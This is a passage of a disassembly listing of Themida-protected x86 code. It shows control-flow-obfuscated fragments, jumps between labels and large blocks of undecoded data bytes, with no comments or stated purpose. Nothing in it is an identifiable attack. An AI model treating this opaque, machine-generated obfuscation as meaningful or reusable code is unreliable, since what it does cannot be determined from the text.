		dd 24048B66h, 7A2F68h, 24148900h, 24148B54h, 798DE9h
		db 0
; ---------------------------------------------------------------------------

loc_514399:				; CODE XREF: Themida_:0051DD0Dj
		mov	[esp], eax
		jmp	loc_511846
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0EBh
		dd 6DD26C50h, 62F3814Bh, 21A49AEBh, 0E9575BDFh,	0FFFFEE77h
; ---------------------------------------------------------------------------

loc_5143B8:				; CODE XREF: Themida_:00521C86j
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 0EEA382Bh
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_50FE02
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0ED810000h, 112D494Fh, 4177ED81h, 0CD013954h, 4177C581h
		dd 0C5813954h, 112D494Fh, 0FFEF01E9h, 59EBDFFh,	0EDC11CF7h
		dd 4EC8304h, 0BA241489h, 59083E62h, 4D5AD529h, 418BC581h
		dd 0ED81C0ACh, 6F6D1167h, 0CBF5814Dh, 31E27774h, 0B1685DE8h
		dd 0E9000014h, 2C4Ah
; ---------------------------------------------------------------------------

loc_514430:				; CODE XREF: Themida_:00521A36j
		mov	[esp], ecx
		push	esp
		jmp	loc_5159A0
; ---------------------------------------------------------------------------
aIcsd		db 'ˆçéd',9,0
		align 10h
		dd 371668h, 240C8900h, 0C2885253h, 515AD388h, 0C181E189h
		dd 4, 0E904E983h, 535Bh
; ---------------------------------------------------------------------------

loc_514460:				; CODE XREF: Themida_:00514FEEj
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	edx
		mov	edx, 1DD2C81h
		mov	ebx, edx
		jmp	loc_51D7B1
; ---------------------------------------------------------------------------

loc_514474:				; CODE XREF: Themida_:00516E2Dj
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_511D21
; ---------------------------------------------------------------------------

loc_51447F:				; CODE XREF: Themida_:00520E06j
		pop	edi
		push	edx
		jmp	loc_5222D3
; ---------------------------------------------------------------------------
		dw 4AB8h
		dd 0C150DC28h, 543503E0h, 186E142h, 0C78158C7h,	4, 31243C33h
		dd 3C33243Ch, 3F685C24h, 8900002Ch, 0E9682434h,	0E900000Ah
		dd 0F464h, 8904EC83h, 5F54243Ch, 4C781h, 81500000h, 4ECh
		dd 24348900h, 0E8458468h, 0CDE95E5Ch, 68000039h, 4F96h
		dd 0DA49E9h
		db 0
; ---------------------------------------------------------------------------

loc_5144E5:				; CODE XREF: Themida_:00512FC0j
		push	dword ptr [esp]
		jmp	loc_523523
; ---------------------------------------------------------------------------
		db 66h,	2Dh, 64h
		dd 2C8B6603h, 2C48124h,	66000000h, 551E2D2Dh, 3983BD66h
		dd 66DDF766h, 6C7CC581h, 7C9F2D66h, 66E80166h, 5D7C9F05h
		dd 66F02966h, 6632F92Dh, 64F3E952h, 81430000h, 32BD94F3h
		dd 0CEEE8152h, 293D9228h, 2FBDE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51453A:				; CODE XREF: Themida_:00517C2Fj
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		jmp	loc_514962
; ---------------------------------------------------------------------------
		db 0B9h, 0EBh, 61h
		dd 0F181277Bh, 5F625CC0h, 0D1F7E9D1h, 0C973F181h, 0CF29C919h
		dd 5FFD3159h, 815DEE01h, 4ECh, 37D4E900h, 0F1800000h, 8BC83006h
		dd 5E9240Ch
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51457B:				; CODE XREF: Themida_:00521191j
		push	eax
		push	63F2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	1485h
		jmp	loc_513A3F
; ---------------------------------------------------------------------------

loc_514593:				; CODE XREF: Themida_:00510673j
		pop	ebx
		push	esi
		mov	esi, 2F213C4Fh
		sub	ebx, 6D932C92h
		add	ebx, esi
		add	ebx, 6D932C92h
		pop	esi
		push	esi
		mov	esi, 1E6B79AEh
		and	esi, 110F57C1h
		inc	esi
		push	ebp
		mov	ebp, 119B305Ah
		jmp	loc_516120
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 6Ch
		dd 73730424h, 448115A6h, 712B0424h, 6C8122C5h, 3BA10424h
		dd 148B3981h, 4C48324h,	0E92434FFh, 0FFFFCA9Ch,	0E950E389h
		dd 0FFFFB4DEh, 8324048Bh, 0C8904ECh, 56E18924h,	0A286E9h
		db 0
; ---------------------------------------------------------------------------

loc_514601:				; CODE XREF: Themida_:005120CDj
		add	eax, ecx
		add	eax, 796704D4h
		pop	ecx
		jmp	loc_51AAA0
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0E9241487h, 0FFFFC6E1h, 9396F381h, 0D9013531h, 0FFC8015Bh
		dd 83592434h, 20504C4h,	33000000h, 4312404h, 24043324h
		dd 9050E95Ch, 0C870000h, 0F665C24h, 5166C8AFh, 0B0BAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514652:				; CODE XREF: Themida_:0051107Fj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_522070
; ---------------------------------------------------------------------------
		dd 34FF5455h, 0C4835D24h, 4C58104h, 51000000h, 4B9h, 0F159E900h
		dd 0F681FFFFh, 6A3138B0h, 0CE8AE9h, 80C2FE00h, 8DE92FCAh
		dd 0AD000091h, 567F68h,	24348900h, 7114BA52h, 0D6892A6Ah
		dd 0FFF0295Ah, 34FF2434h, 68E8E924h, 0D1310000h, 8124148Bh
		dd 4C4h, 36DA6800h, 4890000h, 0D994B824h, 0C129BCA5h, 8124048Bh
		dd 4C4h, 34815100h, 0CE19A324h,	0BA525E16h, 51FF4A9Ah
		dd 3ADCE9h, 2434FF00h, 305B6858h, 50E90000h, 88000011h
		dd 0FE5B59ECh, 2EC83CCh, 241C8966h, 5E4EE950h, 815F0000h
		dd 2C5h, 242C3300h, 0FBC9E9h, 20E98100h, 8113251Dh, 0FFFFFFC1h
		dd 0E0F181FFh, 1ECFBA6h, 0C404E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51472E:				; CODE XREF: Themida_:005191FCj
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_51A6F2
; ---------------------------------------------------------------------------
aPsb		db 'Péb',7,0
		dw 8900h
		dd 7CB22414h, 0C892E9h,	241C8B00h, 81E68956h, 4C6h, 4C68300h
		dd 5C243487h, 4C381h, 0F8E90000h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_514773:				; CODE XREF: Themida_:005222B5j
		push	ecx
		push	49E7371Eh
		pop	ecx
		add	ecx, 1EEE3C4Dh
		add	ecx, 3E3B7F8Dh
		shr	ecx, 6
		xor	ecx, 2AD37DEEh
		mov	eax, ecx
		pop	ecx
		shl	eax, 4
		xor	eax, 8F32E3F8h
		xor	ebp, eax
		jmp	loc_52088E
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 5F2414F7h, 38DEBA52h, 0D731176Ah,	0EAE9515Ah
		dd 5F0000FCh, 6B4768h, 24048900h, 0C389D089h, 582434FFh
		dd 4C481h, 0E95A0000h, 0C323h
; ---------------------------------------------------------------------------

loc_5147D8:				; CODE XREF: Themida_:00521932j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_521D1D
; ---------------------------------------------------------------------------
		db 29h
		dd 4EE981E9h, 503E1B77h, 336C02B8h, 9361E931h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5147F6:				; CODE XREF: Themida_:00512231j
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	66FCh
		mov	[esp], ebp
		jmp	loc_515F53
; ---------------------------------------------------------------------------
		db 52h
		dd 0D83AD6BAh, 4EAC146h, 0E2EBF57h, 4E95AD9h, 80000059h
		dd 0E500EDC5h, 58EDED80h, 34FFEE88h, 0C4815924h, 4, 6636C680h
		dd 0E90DC968h, 0FFFFC057h
; ---------------------------------------------------------------------------

loc_514840:				; CODE XREF: Themida_:0051B542j
		push	ecx
		jmp	loc_5237F1
; ---------------------------------------------------------------------------
		dw 1C87h
aSR		db '$é+R',0
		align 2

loc_51484E:				; CODE XREF: Themida_:0051E12Dj
		push	edi
		mov	edi, 0E934731h
		and	edi, 2B1511F0h
		neg	edi
		sub	edi, 339109BEh
		inc	edi
		xor	edi, 9CA1D97Bh
		sub	ecx, edi
		pop	edi
		push	283Ch
		jmp	loc_5106B9
; ---------------------------------------------------------------------------

loc_514876:				; CODE XREF: Themida_:0051B6DEj
		add	ebx, 4
		jmp	loc_522F08
; ---------------------------------------------------------------------------

loc_514881:				; CODE XREF: Themida_:00523550j
		or	eax, 19AF704Eh
		shr	eax, 8
		shr	eax, 5
		shr	eax, 3
		add	eax, 0FFFFA205h
		add	edx, eax
		jmp	loc_519F9B
; ---------------------------------------------------------------------------

loc_51489B:				; CODE XREF: Themida_:0051AD89j
		push	778Ah
		jmp	loc_51066A
; ---------------------------------------------------------------------------
		db 0F6h, 0D6h, 0D0h
aUqZYsF		db 'îQ±Z(ÎYéÞä',0
		align 4
		dd 0E92434FFh, 0F725h, 731B97B9h, 61C18117h, 526BB92Ah
		dd 12176DBAh, 12DCE927h, 0E94F0000h, 0FFFFC7E3h
; ---------------------------------------------------------------------------

loc_5148D8:				; CODE XREF: Themida_:0051E512j
		add	esp, 4
		sub	esi, 4
		jmp	loc_5175EC
; ---------------------------------------------------------------------------

loc_5148E3:				; CODE XREF: Themida_:00517A3Cj
		pop	edx
		jmp	loc_52061D
; ---------------------------------------------------------------------------

loc_5148E9:				; CODE XREF: Themida_:0051A98Dj
		pop	edx
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_524742
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFB14Ch, 2E3C15Bh, 71685650h, 89000074h, 0BE562414h
		dd 69A9282Eh, 2AE9F289h, 0B0000033h, 0E920B1D4h, 60FDh
		dd 5D52DA89h, 94E7E9h, 0F5BD5500h, 165546Fh, 0EB815DEBh
		dd 76A556A9h, 0C381EB01h, 76A556A9h, 0EF6AE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51495A:				; CODE XREF: Themida_:00512F02j
		shr	edi, 6
		jmp	loc_522DD3
; ---------------------------------------------------------------------------

loc_514962:				; CODE XREF: Themida_:00514540j
		mov	[esp], ecx
		push	0D4C4067h
		mov	ecx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 1C268E0h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 1C268E0h
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_51A5BB
; ---------------------------------------------------------------------------
		db 52h
		dd 493403BAh, 1EA836Ah,	2745E9h, 0DCC28100h, 81F08044h
		dd 8D1832E2h, 6BF28155h, 8143AC09h, 4C33B8CAh, 9C28106h
		dd 1E813C4h, 0EB815AD3h, 4, 5C241C87h, 0F7242C89h, 525D2414h
		dd 5553E289h, 891FA0BDh, 58C58176h, 81AE6E4Dh, 0DC3AE3EDh
		dd 0EFC5813Bh, 8916E4CDh, 0DA015DEBh, 81241C8Bh, 4C4h
		dd 7EE95700h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_514A03:				; CODE XREF: Themida_:0051F4C0j
		mov	esi, 58815A63h
		mov	ecx, 58815A64h
		sub	ecx, 4CDD5B14h
		sub	ecx, esi
		add	ecx, 4CDD5B14h
		mov	esi, [esp]
		jmp	loc_513FBD
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4C681h, 0C6830000h, 24348704h, 0CEE9425Ch, 66000008h
		dd 66243489h, 664F5D68h, 66241C89h, 51D116BBh, 0CA39E957h
		dd 0EA29FFFFh, 941AE9h,	0EA315900h, 83242C8Bh, 0D18904C4h
		dd 0E924148Bh, 0FFFFF27Ah, 0FF2434FFh, 0C8B2434h, 4C48324h
		dd 0FFBAE4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514A79:				; CODE XREF: Themida_:0051A4F6j
		mov	ecx, 654041Ch
		shr	ecx, 7
		shl	ecx, 4
		add	ecx, 3216F21Ch
		add	esi, ecx
		jmp	loc_51DEEA
; ---------------------------------------------------------------------------
		dd offset dword_49A05C+70Ch
		align 2
		dw 0FEE9h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_514A9B:				; CODE XREF: Themida_:0051FD80j
		pop	esp
		shl	bl, 7
		push	0
		jmp	loc_518135
; ---------------------------------------------------------------------------

loc_514AA9:				; CODE XREF: Themida_:00524F14j
		push	edi
		push	edx
		push	2EB39D0h
		pop	edx
		push	ebp
		push	ecx
		mov	ecx, 116B6244h
		mov	ebp, 6B2DCF41h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5132EF
; ---------------------------------------------------------------------------
		db 5, 6, 14h
		dd 0F00126EEh, 0EE14062Dh, 9E2D5E26h, 2D7B020Fh, 32DF125Fh
		dd 5F05D829h, 0E932DF12h, 0FFFFBA27h, 565DEE01h, 4F240481h
		dd 5A007D26h, 264FEA81h, 348B007Dh, 4C48324h, 0E34F281h
		dd 0EAC10D32h, 1EF28105h, 0E914A200h, 10363h
; ---------------------------------------------------------------------------

loc_514B14:				; CODE XREF: Themida_:0051D47Ej
		mov	[esp], edx
		jmp	loc_5224EF
; ---------------------------------------------------------------------------
		dd 0C8BCB21h, 4C48324h,	2C9ACB81h, 0B9514E55h, 77283E34h
		dd 74A3C981h, 2CE962E6h, 890000F4h, 55E9241Ch, 8B00005Ah
		dd 0C481240Ch, 4, 0ABBAE958h, 6C01FFFFh, 8B5D0424h, 0C4812434h
		dd 4, 39BE5652h, 0BA734C48h, 3C4B148Dh,	1CE9F231h, 29FFFFD4h
		dd 7AE981D1h, 5A6A3D05h, 430EE9h, 39B85000h, 0E90CBB1Fh
		dd 9BBBh
; ---------------------------------------------------------------------------

loc_514B8C:				; CODE XREF: Themida_:005196E1j
		mov	ebp, 42B81648h
		sub	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_51B541
; ---------------------------------------------------------------------------
		dd 8101C683h, 0E83F94F6h, 6ED8101h, 0E9462277h,	0A240h
		dd 5E7ACB81h, 88E92B16h, 0FF000009h, 669D1C77h,	4116658h
		dd 39E99C24h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514BD3:				; CODE XREF: Themida_:0051B8A8j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	2766h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_518D6D
; ---------------------------------------------------------------------------
		dd 0ED81CD01h, 599F04E3h, 38BBBA59h, 0EA3149CCh, 0FFB1E9h
		dd 52D10100h, 645DD3BAh, 0A924E923h, 34BE0000h,	0E972060Dh
		dd 0D5CBh, 5904C483h, 1C781h, 0D7F70000h, 9D93E9h, 0E9C78900h
		dd 3E2h
; ---------------------------------------------------------------------------

loc_514C3C:				; CODE XREF: Themida_:00523534j
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 5F2F1EC2h
		shr	ecx, 3
		sub	ecx, 50A24422h
		inc	ecx
		xor	ecx, 0BB439FB3h
		sub	ebx, 6A8A7607h
		push	edi
		jmp	loc_512639
; ---------------------------------------------------------------------------

loc_514C63:				; CODE XREF: Themida_:0050F8D2j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_523CCE
; ---------------------------------------------------------------------------
		dw 34BBh
		dd 297B3829h, 0EA295BDAh, 2934C281h, 0C2817B38h, 6DA31C0Eh
		dd 83242C8Bh, 0EA8104C4h, 795A35C7h, 0C281C229h, 795A35C7h
		dd 0C386E956h, 0F6800000h, 0E9662CE6h, 0FFFFCC56h, 0E904C483h
		dd 0FFFFE299h, 0FFF7295Ch, 505E2434h, 8F2CE9h
		db 0
; ---------------------------------------------------------------------------

loc_514CC9:				; CODE XREF: Themida_:00518C86j
		add	ebx, 4
		jmp	loc_51BAE2
; ---------------------------------------------------------------------------

loc_514CD4:				; CODE XREF: Themida_:00521820j
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	3656h
		mov	[esp], edx
		mov	edx, 2DC328AFh
		mov	edi, 14F8F83Ah
		sub	edi, 34C53EF5h
		jmp	loc_51B5BE
; ---------------------------------------------------------------------------

loc_514CF8:				; CODE XREF: Themida_:0051CA35j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_519FC4
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 0F1BA5200h, 0E916E07Eh, 0ECF4h, 0C281C201h, 22BF6FFFh
		dd 8124048Bh, 4C4h, 4C28100h, 52000000h, 42474FFh, 24048F5Ah
		dd 7449E9h, 24348B00h, 4C481h, 4B050000h, 1464A0Fh, 0F4B2DD0h
		dd 1E05464Ah, 0E93FE94Bh, 0EFFCh, 0E509E951h, 0DE2D0000h
		dd 5172540Fh, 2A3475B9h, 0E9414918h, 0A68Dh, 6CEEE95Fh
		dd 895E0000h, 24148BD0h, 4C481h, 0A9E90000h, 800000E6h
		dd 0C8009DE9h, 78E95359h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_514D93:				; CODE XREF: Themida_:00513E41j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_50FAA1
; ---------------------------------------------------------------------------
		dd 0E951DFF6h, 6462h, 240C8B66h, 0DD92E9h
		db 0
; ---------------------------------------------------------------------------

loc_514DB5:				; CODE XREF: Themida_:00516198j
		add	esp, 4
		add	ebx, 58BF1574h
		add	ebx, edi
		sub	ebx, 58BF1574h
		push	2757h
		jmp	loc_51F4A2
; ---------------------------------------------------------------------------

loc_514DD3:				; CODE XREF: Themida_:005248DFj
		inc	edx
		shl	edx, 6
		jmp	loc_51603F
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 6424h, 295AD601h, 0D9E951D6h, 5000007Ah
		dd 8B87E9h, 6AF28100h, 8147A552h, 0FD7593C2h, 5AD02997h
		dd 430F3D05h, 2DF8016Fh, 6F430F3Dh, 0A547D905h,	21E42D63h
		dd 0BF5771F5h, 64A96B83h, 0E7C1EFD1h, 76E95503h, 51FFFFCEh
		dd 0C889F189h, 24348B59h, 4C481h, 0C5010000h, 9332E9h
		dd 0C895C00h, 4946E924h, 0D2F70000h, 0FFDA32E9h, 0C7815FFFh
		dd 4, 4E4B6852h, 34890000h, 2BE24h, 0F2890000h,	8324348Bh
		dd 0A2E904ECh, 5600005Ch, 6D6E9ABEh, 0C9F68156h, 0E9116A37h
		dd 774Fh, 0FE0BE56h, 0C14662EDh, 0E6D106E6h, 47EEE9h
		db 0
; ---------------------------------------------------------------------------

loc_514E95:				; CODE XREF: Themida_:00523DC8j
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_516396
; ---------------------------------------------------------------------------
aBOIUsz		db ')ê®;‰%]UéZ%',0
		dd 68505200h, 6A493551h, 2BDAE9h
		db 0
; ---------------------------------------------------------------------------

loc_514EB9:				; CODE XREF: Themida_:00524251j
		sub	esi, edx
		jmp	loc_51F776
; ---------------------------------------------------------------------------
		dd 813877FFh, 0F8A242Ch, 34FF43B7h, 0EC815924h,	4, 54241489h
		dd 0BCC6E95Ah, 83500000h, 248904ECh, 0BFCBE924h, 2C31FFFFh
		dd 242C3324h, 0FF24248Bh, 0FFE92434h, 5CFFFFB4h, 8704EE83h
		dd 895C2434h, 6866242Ch, 5D66341Ch, 0BE665666h,	9660BBCh
		dd 665E66F5h, 662C2068h, 53241489h, 645ABB66h, 0BA665266h
		dd 1663FC9h, 0E95A66D3h, 0FFFFD26Ch
; ---------------------------------------------------------------------------

loc_514F34:				; CODE XREF: Themida_:005197C8j
		pop	ebx
		jmp	loc_52180C
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 1D8Eh
; ---------------------------------------------------------------------------

loc_514F40:				; CODE XREF: Themida_:0051A3E2j
		sub	ebp, 6827804h
		add	ebp, ebx
		sub	esp, 4
		jmp	loc_51F2AC
; ---------------------------------------------------------------------------
		dd 2454015Ah, 0C580E904h, 0C5810000h, 116B0817h, 4289ED81h
		dd 15E1904h, 0BF34E9D5h, 0C8BFFFFh, 945E924h, 9E680000h
		dd 89000041h, 0E2892414h, 4C281h, 0C2830000h, 24148704h
		dd 2C1835Ch, 31240C33h,	0DFE9240Ch
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_514F9B:				; CODE XREF: Themida_:0052351Ej
		sub	dword ptr [esp], 353108E2h
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 353108E2h
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, ebp
		jmp	loc_51B065
; ---------------------------------------------------------------------------
		db 29h,	6Ch, 24h
		dd 0E5E95204h, 8B00002Bh, 0C483242Ch, 584EE904h, 0EDD10000h
		dd 0AA9CE9h
		db 0
; ---------------------------------------------------------------------------

loc_514FDD:				; CODE XREF: Themida_:005198C4j
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 72A84E87h
		jmp	loc_514460
; ---------------------------------------------------------------------------
		db 66h
		dd 6633FDBBh, 5B66DD29h, 66D52966h, 33FDC581h, 8F82E9h
		dd 86586600h, 66DE86CBh, 88F48850h, 66E388DEh, 9357E958h
		dd 48B0000h, 4C48124h, 0E9000000h, 0BA89h, 4C281h, 0C2830000h
		dd 24148704h, 38A1E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51503E:				; CODE XREF: Themida_:00519BF0j
		push	45857D79h
		pop	ecx
		xor	ecx, 0D4F1A4Ah
		dec	ecx
		jmp	loc_51F463
; ---------------------------------------------------------------------------
		dd 68E9ACh, 0DA000000h,	0B020E9h, 4C28100h, 81000000h
		dd 4C2h, 24148700h, 0CF61E9h
		db 0
; ---------------------------------------------------------------------------

loc_515071:				; CODE XREF: Themida_:0051F677j
		sub	ebp, 2C742211h
		mov	ebx, ebp
		jmp	loc_51A2C0
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0F8BD5557h, 577EC974h, 0A8797CBFh, 0D176E920h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_515096:				; CODE XREF: Themida_:0051C195j
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_522CB1
; ---------------------------------------------------------------------------
		dw 65E9h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5150A7:				; CODE XREF: Themida_:0051FEB3j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	eax
		push	esp
		jmp	loc_5201A7
; ---------------------------------------------------------------------------

loc_5150B5:				; CODE XREF: Themida_:00520FDAj
		pop	ebx
		xor	ch, 0F8h
		jmp	loc_520C89
; ---------------------------------------------------------------------------
		dw 6568h
		dd 8900005Ah, 0C9E9241Ch, 520000B4h, 53E5E9h
		db 0
; ---------------------------------------------------------------------------

loc_5150D1:				; CODE XREF: Themida_:0051D29Ej
		mov	edi, 4
		sub	eax, 5FF4FF0h
		add	eax, edi
		push	ebp
		jmp	loc_517D8A
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 1193B824h,	0C3011AF8h, 0ACB8E9h, 61C78100h
		dd 0E9143241h, 0FFFFF4F0h, 0E924148Bh, 6EBDh
; ---------------------------------------------------------------------------

loc_515108:				; CODE XREF: Themida_:005245E4j
		push	eax
		mov	eax, ebx
		jmp	loc_51B01A
; ---------------------------------------------------------------------------
		dd 31CBC681h, 58E901FBh, 0FF00007Ch, 5E042474h,	7D77E9h
		db 0
; ---------------------------------------------------------------------------

loc_515125:				; CODE XREF: Themida_:00522C03j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_51C894
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFA951h, 0ADE9515Dh
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_515143:				; CODE XREF: Themida_:0051B7C9j
		inc	edi
		shl	edi, 4
		shl	edi, 2
		jmp	loc_51D28C
; ---------------------------------------------------------------------------
		db 68h
		dd 274h, 0B8240489h, 4,	5358C301h, 0FC61E9h, 64EFB900h
		dd 0C18100FCh, 0FF039B15h, 5359CD01h, 0FFE460E9h, 4EC81FFh
		dd 89000000h, 0F1BB241Ch, 0E959CF32h, 9F02h, 0C8B7E95Dh
		dd 0E9ADFFFFh, 0EFA1h, 24048F5Ah, 2924248Bh, 2434FFC8h
		dd 4EC8159h, 89000000h,	0E189240Ch, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 0A0BF5755h, 573B1B71h,	9134E9h, 0E9F30100h
		dd 0A6F7h
; ---------------------------------------------------------------------------

loc_5151D4:				; CODE XREF: Themida_:00510458j
		mov	ecx, [esp]
		jmp	loc_51622B
; ---------------------------------------------------------------------------
		dd 0AF7FE953h, 0F1810000h, 2F5750BBh, 0D7ACE9h
		db 0
; ---------------------------------------------------------------------------

loc_5151ED:				; CODE XREF: Themida_:00518D76j
		mov	[esp], eax
		push	edx
		push	ebp
		jmp	loc_517D9B
; ---------------------------------------------------------------------------
		db 35h
		dd 6CD95A70h, 357E9h
		db 0
; ---------------------------------------------------------------------------

loc_515201:				; CODE XREF: Themida_:005187B0j
		add	ebp, 3F141F82h
		pop	edi
		jmp	loc_51EC5E
; ---------------------------------------------------------------------------
		db 5Fh,	89h, 0C7h
		dd 8124048Bh, 4C4h, 18BA5200h, 0E96D3C47h, 157Ch
; ---------------------------------------------------------------------------

loc_515224:				; CODE XREF: Themida_:00510169j
		pop	edi
		add	esp, 4
		pop	dword ptr [edi+20h]
		push	eax
		mov	eax, 20h
		add	eax, edi
		xor	dword ptr [eax], 6387244Ch
		pop	eax
		jmp	loc_520A1C
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 4BD24h, 0EA810000h, 2D294CB1h, 0C281EA01h
		dd 2D294CB1h, 6D74E9h, 243C8B00h, 0FFAA64E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_515265:				; CODE XREF: Themida_:00518D20j
		add	ecx, 1
		add	ecx, 364DAEFFh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_510A57
; ---------------------------------------------------------------------------

loc_515276:				; CODE XREF: Themida_:00511E5Fj
		pop	dword ptr [edi+eax*4]
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EA68240Ch, 0E9000016h, 44C6h, 46E168h, 24048900h, 3E3168h
		dd 243C8900h, 0FAE9E789h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5152A3:				; CODE XREF: Themida_:00517E03j
		pop	edi
		jmp	loc_516C3E
; ---------------------------------------------------------------------------

loc_5152A9:				; CODE XREF: Themida_:0051B932j
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		pop	esi
		push	ebx
		mov	ebx, 28EF5375h
		add	esi, ebx
		pop	ebx
		jmp	loc_513ED9
; ---------------------------------------------------------------------------

loc_5152C1:				; CODE XREF: Themida_:00520A30j
		push	574Dh
		jmp	loc_51B8A5
; ---------------------------------------------------------------------------
		db 87h
		dd 835C243Ch, 2C8904ECh, 505D5424h, 2ED368h, 242C8900h
		dd 594AC668h, 0C5815D01h, 7754F0AFh, 485DE889h,	984E810Dh
		dd 8E91E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5152FA:				; CODE XREF: Themida_:00518B0Fj
		sub	ecx, 5C5A01D4h
		jmp	loc_51EEC8
; ---------------------------------------------------------------------------
		dd offset dword_450050+4018h
		align 2
		dw 3489h
		dd 10A4BE24h, 0EEC125A2h, 75BA5203h, 0D139490Ch, 0E94242EAh
		dd 8095h
; ---------------------------------------------------------------------------

loc_515324:				; CODE XREF: Themida_:00510B7Aj
		sub	ecx, 0D8B5340h
		add	ecx, eax
		add	[ecx], edx
		pop	ecx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_51F812
; ---------------------------------------------------------------------------
		dw 0C9E9h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_515343:				; CODE XREF: Themida_:00510BA6j
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_515438
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BF5707E5h, 59601F4Ah, 7DE9FD29h, 0B80000B1h, 6092C29h
		dd 0F1E8705h, 0C148482Dh, 0F22506E0h, 3539D375h, 0A59494Dh
		dd 0C1D0F748h, 0D0F704E8h, 0A4B6882Dh, 6FD4E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51538A:				; CODE XREF: Themida_:0051CDC3j
		push	esi
		mov	esi, esp
		jmp	loc_5231B3
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BF243C89h, 12947212h
		dd 3CC4E9h, 27F66800h, 0BE96BEFh
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5153BB:				; CODE XREF: Themida_:0051EF89j
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_51F813
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		push	7F2C606Bh
		pop	ebx
		and	ebx, 4DFA3305h
		push	ebp
		mov	ebp, 4D28201Dh
		xor	ebx, ebp
		pop	ebp
		mov	eax, ebx
		mov	ebx, [esp]
